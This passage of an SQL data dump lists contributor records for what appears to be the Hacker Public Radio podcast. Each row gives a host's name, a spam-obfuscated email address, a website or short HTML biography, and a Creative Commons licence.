(82,'DjBoo','KP101ST.nospam@nospam.gmail.com','zombie.el.cx/music/','CC-BY-NC-SA',0,'',1,'DjBoo'),
(83,'MadRush','madrush.nospam@nospam.comcast.net','','CC-BY-NC-SA',0,'',1,'MadRush'),
(84,'Lunarsphere','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Lunarsphere'),
(85,'finux','podcast.nospam@nospam.finux.co.uk','finux.co.uk','CC-BY-SA',1,'',1,'finux'),
(86,'rowinggolfer','rowinggolfer.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'RowingGolfer'),
(87,'Tottenkoph','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Tottenkoph'),
(88,'Skirlet','admin.nospam@nospam.hackerpublicradio.org','fiercelyindependent.org','CC-BY-NC-SA',0,'',1,'Skirlet'),
(89,'MC Smedley','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'MC Smedley'),
(90,'jelkimantis','linux.cli.oggcast.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'jelkimantis'),
(91,'Cybercod','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Cybercod'),
(92,'threethirty','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'threethirty'),
(93,'EC Lug','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'EC Lug'),
(94,'riddlebox','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'riddlebox'),
(95,'UberChick','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'UberChick'),
(96,'Jrullo','jrullo.nospam@nospam.jonasrullo.net','','CC-BY-SA',0,'',1,'Jrullo'),
(97,'Jeremy','admin.nospam@nospam.hackerpublicradio.org','distrocast.org','CC-BY-NC-SA',0,'',1,'Jeremy'),
(98,'weex','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'weex'),
(99,'monsterb','bill.nospam@nospam.monsterb.org','linuxcranks.info','CC-BY-SA',0,'',1,'MonsterB'),
(100,'UTOSC','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'U T O S C '),
(101,'Chad','chad.nospam@nospam.linuxbasement.com','linuxbasement.com','CC-BY',0,'',1,'Chad'),
(102,'dwick','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'dwick'),
(103,'Roadrunner','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Roadrunner'),
(104,'pixel Juice','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'pixel Juice'),
(105,'Wintermute21','mute.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Wintermute21'),
(106,'Thistleweb','gordon.nospam@nospam.thistleweb.co.uk','thistleweb.co.uk/','CC-BY-SA',0,'',1,'Thistleweb'),
(107,'lostnbronx','lostnbronx.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'lostnbronx'),
(109,'Various Hosts','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Various Hosts'),
(110,'Quvmoh','quvmoh.nospam@nospam.gmail.com','<p>\r\nold geek and fan of building things, spends the work day polishing fiber optics and staring through scopes listening to podcasts.</p>','CC-BY-SA',0,'',1,'Quvmoh'),
(111,'knightwise','knightwise.nospam@nospam.knightwise.com','<p>\r\nKnightwise.com is a website with hacks tips and tweaks for cross platform geeks.  The home of the Knightwise.com cross platform podcast that makes technology work for you and not the other way around. A place to go for all geeks who slide between Mac, iOS, Android, Linux and Windows offering an essential  mix of hacks, tips, howtos and tweaks spiced up with a dash of geek culture.\r\n</p>\r\n<p>\r\nWhat is our philosophy?\r\nIn our daily lives, on the internet, whether we want it or not, hundreds of new inventions, thousands of websites and millions of bits of information engulf us as the tsunami of progress sweeps along the shores of time.\r\nYou have the choice:  Be washed away on by the virtual surf  or turn technology into a tool that works for you.\r\n</p>\r\n<p>\r\nHere at Knightwise.com we think that YOU are the most important element in the technology that surrounds you. Technology should enable you and not lock you in to some vendor or product. That is why we focus on cross platform solutions that work on any operating system or mobile device you might be using, making YOU and what you want to DO the focus of our content. We dont believe in fanboys, we dont believe in vendor lock-ins and we dont believe in brands. We cater to the geeks who slide from operating system to operating system, free their data and communications and let technology work for them  instead of the other way around.\r\n</p>','CC-BY-SA',0,'',1,'knightwise'),
(112,'Mark Clarke','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Mark Clarke'),
(113,'Kevin Benko','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Kevin Benko'),
(114,'rkirk','zugzwang.seven.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'rkirk'),
(115,'sigflup','pantsbutt.nospam@nospam.gmail.com','<p>\r\n<a href=\"https://theadesilva.com\">https://theadesilva.com</a>\r\n</p>','CC-BY-SA',0,'',1,'sigflup'),
(116,'janedoc','njwrightmd.nospam@nospam.yahoo.com','','CC-BY-NC-SA',0,'',1,'janedoc'),
(117,'PhreakerD7','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'PhreakerD7'),
(118,'df99','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'df99'),
(120,'pegwole','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'pegwole'),
(121,'Michael Foord ','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Michael Foord '),
(122,'Urban Koistinen','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Urban Koistinen'),
(123,'tmacuk ','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'tmacuk '),
(124,'Patrick L Archibald (R.I.P.)','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Patrick L Archibald'),
(125,'elel','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'elel'),
(126,'cobra2','cobra2.nospam@nospam.linuxbasement.com','','CC-BY-SA',0,'',1,'cobra2'),
(127,'KFive','k5tux.nospam@nospam.k5tux.us','','CC-BY-SA',0,'',1,'KFive'),
(128,'pokey','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'pokey'),
(129,'JWP','jwp5.nospam@nospam.hotmail.com','<p>JWP is a linux follower - has a linux job and lives the life of a free Texan in the World making Texas where ever he might be.</p>','CC-BY-SA',1,'',1,'JWP'),
(130,'Jared Mayes','mayesja.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Jared Mayes'),
(131,'FiftyOneFifty (R.I.P.)','fiftyonefifty.nospam@nospam.linuxbasement.com','','CC-BY-SA',0,'',1,'FiftyOneFifty'),
(132,'Flaviu Simihaian','flaviu.nospam@nospam.closedbracket.com','','CC-BY-SA',0,'',1,'Flaviu Simihaian'),
(133,'sp0rus','sp0rus.cs.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'sporus'),
(134,'PipeManMusic','PipeManMusic.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'PipeManMusic'),
(135,'Johninsc','johninsc.nospam@nospam.myway.com','','CC-BY-SA',0,'',1,'Johninsc'),
(136,'Curbuntu','curbuntu.nospam@nospam.cox.net','','CC-BY-NC-SA',0,'',1,'Curbuntu'),
(137,'guitarman','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'GuitarMan'),
(138,'arfab','clearnitesky.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'arfab'),
(139,'Ruji','toiletresin.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'Ruji'),
(140,'brother mouse','fratermus+hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'brother mouse'),
(141,'Dismal Science','dismal.science.hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Dismal Science'),
(142,'N50','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'N50'),
(143,'Broam','brian.kemp.nospam@nospam.member.fsf.org','','CC-BY-SA',0,'',1,'Broam'),
(144,'sp0rus and biosshadow','sp0rus.cs.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'sporus and BiosShadow'),
(145,'Heisenbug','matt_hew.nospam@nospam.rocketmail.com','','CC-BY-NC-SA',0,'',1,'Heisenbug'),
(146,'JBu92','jbucky1092.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'JBu92'),
(147,'Sven','sven.nospam@nospam.noblanks.org','','CC-BY-SA',0,'',1,'Sven'),
(148,'Mark Katerberg and Courtney Schauer','mark.katerberg.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Mark Katerberg and Courtney Schauer'),
(149,'Trixter','trixter.nospam@nospam.oldskool.org','','CC-BY-SA',0,'',1,'Trixter'),
(150,'Bariman','anthony.denton.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Bariman'),
(151,'dodddummy','jason.s.dodd.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'D O D D Dummy'),
(152,'Claudio Miranda','claudio.nospam@nospam.linuxbasement.com','Mastodon: @claudiom@bsd.network\r\nE-mail: claudiom@sdf.org','CC-BY-SA',0,'',1,'Claudio Miranda'),
(153,'Doug Farrell','doug.farrell.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Doug Farrell'),
(154,'MrsXoke','MrsXoke.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'MrsXoke'),
(155,'MrGadgets','hpr.nospam@nospam.mrgadgets.com','','CC-BY-SA',0,'',1,'MrGadgets'),
(156,'marcoz','marcoz.nospam@nospam.osource.org','','CC-BY-SA',0,'',1,'marcoz'),
(157,'HPR_AudioBookClub','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'HPR_AudioBookClub'),
(158,'Various Creative Commons Works','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Various Creative Commons Works'),
(159,'HPR Volunteers','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'HPR Volunteers'),
(160,'Robin Catling','fullcirclepodcast.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'Robin Catling'),
(161,'Jonathan Nadeau','feedback.nospam@nospam.frostbitemedia.org','','CC-BY-NC-SA',0,'',1,'Jonathan Nadeau'),
(162,'code.cruncher','code.cruncher_hpr.nospam@nospam.yahoo.ca','','CC-BY-SA',0,'',1,'code.cruncher'),
(163,'Brad Carter','brad.nospam@nospam.notla.com','','CC-BY-SA',0,'',1,'Brad Carter'),
(164,'scriptmunkee','scriptmunkee.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'scriptmunkee'),
(165,'Bob Evans','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Bob Evans'),
(167,'imahuph','imahuph.nospam@nospam.imahuph.net','','CC-0',0,'',1,'ImAHuph'),
(168,'sikilpaake and badbit','info.nospam@nospam.carlosduarte.info','','CC-BY-SA',0,'',1,'sikilpaake and badbit'),
(169,'Slurry','williams.jayson.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'Slurry'),
(170,'Dismal Science and Sunzofman1','dismal.science.hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Dismal Science and SunzOfMan1'),
(171,'Brotherred','goy.ben.regesh.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Brotherred'),
(172,'ArigornStrider','arigornstrider.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'ArigornStrider'),
(173,'Joel','gorkon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Joel'),
(174,'Josh Knapp','jknapp85.nospam@nospam.gmail.com','<p>\r\nSysadmin/Developer /Contractor/Consultant\r\n</p>','CC-0',0,'',1,'Josh Knapp'),
(175,'Dave','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Dave'),
(176,'finux and code.cruncher','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'finux and code.cruncher'),
(177,'NewAgeTechnoHippie','newagetechnohippie.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'NewAgeTechnoHippie'),
(178,'Downer','downer.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Downer'),
(182,'Epicanis','epicanis+hpr.nospam@nospam.dogphilosophy.net','<p>\r\n\"Epicanis\" has been this correspondent\'s pseudonym on the internet for enough years to make him feel old and to make it an established enough identity to not want to change it now.\r\n</p>\r\n<p>\r\nA self-described Penguinista with a long career as a compu-janitor/systems administrator, Epicanis is broad-spectrum, \r\n multi-purpose \"Swiss-Army Nerd\", with a B.S. in Microbiology, an A.S. in Chemistry, a quarter-century of continuous\r\n I.T. experience and a desire to escape the economic roach-motel of rural northern Maine, so if you\'re looking to hire,\r\n let him know.\r\n</p>\r\n<p>\r\nYou can find him on Twitter and Google Plus via his pseudonym, and at (among other places) <a href=\"https://hpr.dogphilosophy.net\">https://hpr.dogphilosophy.net</a>\r\n</p>\r\n<p>\r\n<ul>\r\n<li>Website: <a href=\"https://hpr.dogphilosophy.net\">https://hpr.dogphilosophy.net</a>\r\n</li>\r\n<li>Twitter: @Epicanis <a href=\"https://twitter.com/Epicanis\">https://twitter.com/Epicanis</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/117231980905216630589/posts\">https://plus.google.com/u/0/117231980905216630589/posts</a>\r\n</li>\r\n</ul\r\n</p>','CC-BY-SA',1,'',1,'EpiCaynis'),
(184,'diablomarcus','mark.katerberg.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'DiabloMarcus'),
(185,'Mike Hingley','computa_mike.nospam@nospam.hotmail.com','','CC-BY-SA',0,'',1,'Mike Hingley'),
(186,'Germ','jeremythegeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Germ'),
(187,'Sunzofman1','agreen.nospam@nospam.bkaeg.org','','CC-BY-SA',0,'',1,'SunzOfMan1'),
(188,'saras fox','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'saras fox'),
(189,'Joe Wakumara','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Joe Wakumara'),
(190,'Tracy Holz_Holzster','workingintheopen.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Tracy Holz_Holzster'),
(191,'AukonDK','aukondk.nospam@nospam.aukondk.com','<p>\r\nStephen Ward, a Brit in Croatia. Accidental specialist subject: Internet Radio.\r\n</p>\r\n<p>\r\nMore info at <a href=\"https://aukondk.com\">https://aukondk.com</a>\r\n</p>','CC-BY-SA',1,'',1,'AukonDK'),
(192,'Seetee','kenneth.nospam@nospam.aiit.se','<p>\r\nKenneth \"Seetee\" Frantzen\r\n</p>\r\n<p>\r\nAn IT professional and teacher living in Gothenburg, the second largest city of Sweden. Listen to my own podcast as well, the All In IT Radio!\r\n</p>\r\n<ul>\r\n<li>Podcast: <a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a>\r\n</li>\r\n<li>Website: <a href=\"https://frantzen.se/\">https://frantzen.se/</a>\r\n</li>\r\n<li>Twitter: @alltinomit <a href=\"https://twitter.com/alltinomit\">https://twitter.com/alltinomit</a>\r\n</li>\r\n<li>Identica: <a href=\"https://identi.ca/alltinomit\">https://identi.ca/alltinomit</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/+KennethFrantzen\">https://plus.google.com/+KennethFrantzen</a> \r\n</li>\r\n</ul>','CC-BY-SA',0,'',1,'Seetee'),
(193,'Kevin Granade','kevin.granade.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Kevin Granade'),
(194,'Deltaray','deltaray.nospam@nospam.slugbug.org','From the \"mid-west\" of the US. I am the creator/host of the @climagic account on Mastodon and (cough) Twitter.','CC-BY-SA',0,'',1,'Deltaray'),
(195,'Frank Bell','frank.nospam@nospam.pineviewfarm.net','<p>\r\nA Linux enthusiast who enjoys making stuff work.\r\n<br />\r\n<a https://=\"https://www.pineviewfarm.net\">https://www.pineviewfarm.net</a>\r\n</p>','CC-BY-SA',1,'',1,'Frank Bell'),
(196,'Windigo','jacob.nospam@nospam.fragdev.com','<p> A dork that likes Minecraft, web development, and coffee. Not in that order. </p>','CC-BY-SA',0,'',1,'Windigo'),
(197,'garjola','garjola.nospam@nospam.garjola.net','','CC-BY-SA',0,'',1,'garjola'),
(198,'Ahuka','zwilnik.nospam@nospam.zwilnik.com','<p>\r\nI am a long-time office software geek, and also a promoter of Free Software, so LibreOffice is a natural fit for me. I also have a series on HPR called Security and Privacy, and occasionally record shows that are non-series. I am also the former Tech Track organizer for Penguicon, an event in southeast Michigan, USA. Visit one of my sites at:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com\">https://www.ahuka.com</a>\r\n</li>\r\n<li><a href=\"https://www.palain.com\">https://www.palain.com</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com\">https://www.zwilnik.com</a>\r\n</li>\r\n</ul>','CC-BY-SA',0,'',1,'ah-who-ca'),
(199,'Akranis','hexagenic.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Akranis'),
(200,'mordancy','hpr.nospam@nospam.mordancy.com','mordancy.com','CC-BY-SA',0,'',1,'mordancy'),
(201,'MrX','mrxathpr.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'Mister X'),
(202,'BrocktonBob','bhpcrepair.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'BrocktonBob'),
(203,'dmfrey','dmfrey.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'dmfrey'),
(273,'ToeJet','james.nospam@nospam.toebesacademy.com','<p>\r\nDabbling in a bit of this and that.\r\n\r\nFind me at https://james.toebesacademy.com\r\n</p>','CC-BY-SA',0,'',1,'Toe Jet'),
(205,'Jezra and NYbill','nybill.nospam@nospam.gunmonkeynet.net','','CC-BY-SA',0,'',1,'Jezra and N_Y_bill'),
(206,'Bob Wooden','rbrtewdn.nospam@nospam.comcast.net','','CC-BY-SA',0,'',1,'Bob Wooden'),
(207,'rootoutcast','rootoutcast.nospam@nospam.hushmail.com','','CC-BY-SA',0,'',1,'RootOutcast'),
(208,'Digital Maniac','destinydesignlabs.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Digital Maniac'),
(209,'David Whitman','davidglennwhitman.nospam@nospam.gmail.com','<p>\r\nI am a normal person with good taste from Oregon, USA. I like black coffee and FREE Software. I use Linux as my operating system of choice.\r\n</p>','CC-BY-SA',0,'',1,'David Whitman'),
(210,'Neodragon','linuxgeekster.stahl.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Neodragon'),
(296,'Kevie','tuxjam.nospam@nospam.unseenstudio.co.uk','<p>\r\nLinux and open source advocate from the Isle of Lewis in the north west of Scotland.  I am a keen podcaster, co-host of CCJam, Crivins and TuxJam, you can find these at <a href=\"https://unseenstudio.co.uk\">https://unseenstudio.co.uk</a>\r\n</p>\r\n<p>\r\nI am on Twitter (@kevie49), but mainly active on joindiaspora.co.uk and micro.fragdev.com, where I am @kevie on both of these networks. \r\n</p>','CC-BY-SA',1,'',1,'Kevie'),
(212,'DoorToDoorGeek','doortodoorgeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'DoorToDoorGeek'),
(213,'bgryderclock','bgryderclock.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'bgryderclock'),
(214,'Nido Media','nido.nospam@nospam.foxserver.be','','CC-BY-SA',0,'',1,'Nido Media'),
(403,'Lee','leehanken.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Lee'),
(216,'goibhniu','goibhniu.nospam@nospam.fsfe.org','','CC-BY-SA',0,'',1,'goibhniu'),
(217,'aparanoidshell','aparanoidshell.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'aparanoidshell'),
(218,'Famicoman','famicoman.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Famicoman'),
(219,'ccmusique','ccmusique.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'ccmusique'),
(220,'doubi','ryan.jendoubi.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'doubi'),
(221,'cleavey','cleavey.nospam@nospam.ic24.net','','CC-BY-SA',0,'',1,'cleavey'),
(222,'The Air Staff of Erie Looking Productions','skellat.nospam@nospam.fastmail.net','','CC-BY-SA',0,'',1,'The Air Staff of Erie Looking Productions'),
(223,'Frederic Couchet','fcouchet.nospam@nospam.april.org','','CC-BY-SA',0,'',1,'Frederic Couchet'),
(224,'Zachary De Santos','niisa.nospam@nospam.gmx.co.uk','','CC-BY-SA',0,'',1,'Zachary De Santos'),
(225,'Dave Morriss','perloid.nospam@nospam.autistici.org','<p>Old Geek, lives in Scotland, writes scripts and stuff for amusement</p>\r\n\r\n<ul>\r\n<li>Mastodon: @perloid@mastodon.sdf.org <a href=\"https://mastodon.sdf.org/@perloid\">https://mastodon.sdf.org/@perloid</a></li>\r\n<li>Twitter: @perlist <a href=\"https://twitter.com/perlist\">https://twitter.com/perlist</a></li>\r\n</ul>\r\n','CC-BY-SA',0,'4825C90A45758A21',1,'Dave Morriss'),
(226,'bobobex','bobobex.nospam@nospam.bobobex.org','','CC-BY-SA',0,'',1,'BoBoBex'),
(227,'Dick Thomas','Dick.nospam@nospam.xpd259.co.uk','','CC-BY-SA',0,'',1,'Dick Thomas'),
(228,'Delwin','delwin.nospam@nospam.skyehaven.net','','CC-BY-SA',0,'',1,'Delwin'),
(229,'Charles in NJ','catintp.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Charles in NJ'),
(230,'Dude-man','hpr.nospam@nospam.dudmanovi.cz','','CC-BY-SA',0,'',1,'Dude-man'),
(231,'Beto','beto.nospam@nospam.haventfoundme.com','','CC-BY-SA',0,'',1,'Beto'),
(232,'Peter64','peter.nospam@nospam.peter64.org','','CC-BY-SA',0,'',1,'Peter64'),
(233,'johanv','johan.vervloet.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'johanv'),
(234,'Emilien Klein','emilien+hpr.nospam@nospam.klein.st','','CC-BY-SA',0,'',1,'Emilien Klein'),
(235,'NYbill','nybill.nospam@nospam.gunmonkeynet.net','','CC-BY-SA',0,'',1,'N Y bill'),
(237,'Tgtm News Team','hpr.nospam@nospam.deepgeek.us','','CC-BY-SA',0,'',1,'Tgtm News Team'),
(238,'Jon Kulp','jonlancekulp.nospam@nospam.gmail.com','<p>\r\nMusic professor, open-source software enthusiast, Lafayette, LA. <br />\r\n<a href=\"https://jonathankulp.org \">https://jonathankulp.org </a>\r\n</p>','CC-BY-SA',0,'',1,'Jon Kulp'),
(239,'b1ackcr0w','alistair.nospam@nospam.amunro.net','','CC-BY-SA',0,'',1,'blackcrow'),
(240,'Steve Bickle','steve.nospam@nospam.bickle.co.uk','','CC-BY-SA',0,'',1,'Steve Bickle'),
(241,'Christopher M. Hobbs','cmhobbs.nospam@nospam.member.fsf.org','','CC-BY-SA',0,'',1,'Christopher M. Hobbs'),
(242,'Russ Wenner','russwenner.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Russ Wenner'),
(243,'Jezra','Jezra.nospam@nospam.jezra.net','','CC-BY-SA',0,'',1,'Jezra'),
(244,'Helvetin','reiststefan.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Helvetin'),
(245,'Deb Nicholson','dnicholson.nospam@nospam.openinventionnetwork.com','','CC-BY-SA',0,'',1,'Deb Nicholson'),
(246,'Beeza','nigelverity.nospam@nospam.hotmail.com','<p>\r\nBeeza has worked in just about every area of software development over the last 30 years, including long spells in the defence and finance industries. He is now relatively impoverished but far happier working for himself on a number of tech and non-tech projects. \r\n</p>','CC-BY-SA',0,'',1,'Beeza'),
(247,'Toby Meehan','conman53095.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Toby Meehan'),
(248,'Alek Grigorian','alek.grigorian.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Alek Grigorian'),
(249,'Accipiter','Accipiter81M.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Accsipiter'),
(250,'Shane Shennan','shaneshennan.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Shane Shennan'),
(251,'Bob Tregilus','elaterite.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Bob Tregilus'),
(252,'Curtis Adkins (CPrompt^)','curtadkins.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Curtis Adkins (CPrompt^)'),
(253,'jrobb','jfrobbins.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'jrobb'),
(254,'Stitch','Stitch.nospam@nospam.hack42.nl','','CC-BY-SA',0,'',1,'Stitch'),
(255,'Matt McGraw (g33kdad)','matty.nospam@nospam.thestrangeland.net','<p>\r\nstay-home dad, child of God, Progressive Christian, technology enthusiast, homeschool parent, mostly harmless\r\n</p>\r\n<p>\r\n<a href=\"https://g33kdad.thestrangeland.net\">https://g33kdad.thestrangeland.net</a>\r\n</p>','CC-BY-SA',1,'',1,'Matt McGraw (g33kdad)'),
(256,'Julian Neuer','jln.neuer.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Julian Neuer'),
(257,'laindir','carl.hamann.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'laindir'),
(258,'Riley Gelwicks (glwx)','riley.gelwicks.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Riley Gelwicks (glwx)'),
(259,'Gabriel Evenfire','evenfire.nospam@nospam.sdf.org','','CC-BY-SA',1,'',1,'Gabriel Evenfire'),
(260,'James Michael DuPont (h4ck3rm1k3)','JamesMikeDuPont.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'James Michael DuPont (hackermike)'),
(261,'David Willson','DLWillson.nospam@nospam.thegeek.nu','','CC-BY-SA',0,'',1,'David Willson'),
(262,'Neandergeek','rkline1963.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Neandergeek'),
(263,'Tony Pelaez','tony.nospam@nospam.pelaez.me','<p>\r\nI feel information should be free, so I created <a href=\"https://ilearnthings.com\">https://ilearnthings.com</a>\r\n</p>','CC-BY-SA',0,'',1,'Tony Pelaez'),
(264,'Richard Hughes','richardhughes260.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Richard Hughes'),
(265,'Kevin Wisher','kevin.wisher.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Kevin Wisher'),
(266,'Keith Murray','kdmurray.nospam@nospam.kdmurray.com','','CC-BY-SA',0,'',1,'Keith Murray'),
(267,'Underruner','plushgeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Underruner'),
(268,'Andrew Conway','nalumc.nospam@nospam.gmail.com','<p>\r\nInterested in computers, science, economics, writing and er, well, um, humans I suppose.<br />\r\n<a href=\"https://blog.mcnalu.net/\">blog.mcnalu.net</a>\r\n</p>','CC-BY-SA',0,'',1,'Andrew Conway'),
(269,'Honkeymagoo','honkeymagoo01.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'HonkeyMagoo'),
(270,'Thaj Sara','thajasara.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Thaj Sara'),
(271,'mirwi','mirwi.nospam@nospam.binary-kitchen.de','','CC-BY-SA',0,'',1,'mirwi'),
(272,'cyan','cyantech.nospam@nospam.yandex.com','','CC-BY-SA',0,'',1,'cyan'),
(274,'J. A. Mathis','jamathis.nospam@nospam.riseup.net','','CC-BY-SA',0,'',1,'J. A. Mathis'),
(275,'Bill_MI','Bill_MI.nospam@nospam.mi.ath.cx','','CC-BY-SA',0,'',1,'Bill_M_I'),
(276,'x1101','x1101.nospam@nospam.gmx.com','<p>\r\nFather | Husband | Hacker | Cook | Podcaster | DevOps\r\n</p>\r\n<p>\r\n<a href=\"https://reflections.x1101.net/\">https://reflections.x1101.net/</a><br />\r\n<a href=\"https://urandom-podcast.info/\">https://urandom-podcast.info/</a>\r\n</p>','CC-BY-SA',0,'',1,'x 1 1 0 1 '),
(277,'John Duarte','john.nospam@nospam.duarte-dailey.us','','CC-BY-SA',0,'',1,'John Duarte'),
(279,'Mark Waters','mark.nospam@nospam.collective-b.org.uk','','CC-BY-SA',0,'',1,'Mark Waters'),
(280,'semioticrobotic','bryan.nospam@nospam.semioticrobotic.net','','CC-BY-SA',0,'259E2719E0EC869B',1,'semioticrobotic'),
(281,'Scyner','person65278.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Scyner'),
(283,'Inscius','mikael.nospam@nospam.inscius.se','','CC-BY-SA',0,'97517ADC315AB7B6',1,'Inscius'),
(284,'Steve Smethurst','ssmethurst.nospam@nospam.tiscali.co.uk','','CC-BY-SA',1,'',1,'Steve Smethurst'),
(285,'2BFrank','frank.durr.nospam@nospam.mailoo.org','Our own podcast \"Linux ohne Angst\" (in German, Linux without fear): https://linuxohneangst.net','CC-BY-SA',0,'',1,'2BFrank'),
(286,'cjm','colin.j.mills96.nospam@nospam.gmail.com','<pre>\r\n* Unix Enthusiast \r\n\r\n* Nixers Frequent\r\n\r\n* Coffee Drinker\r\n</pre>','CC-BY-SA',1,'',1,'cjm'),
(287,'corenominal','corenominal.nospam@nospam.corenominal.org','<p>\r\n<a href=\"https://corenominal.org\" title=\"Link to Philip\'s blog.\">Philip Newborough</a>\r\n</p>','CC-BY-SA',0,'',1,'CoreNominal'),
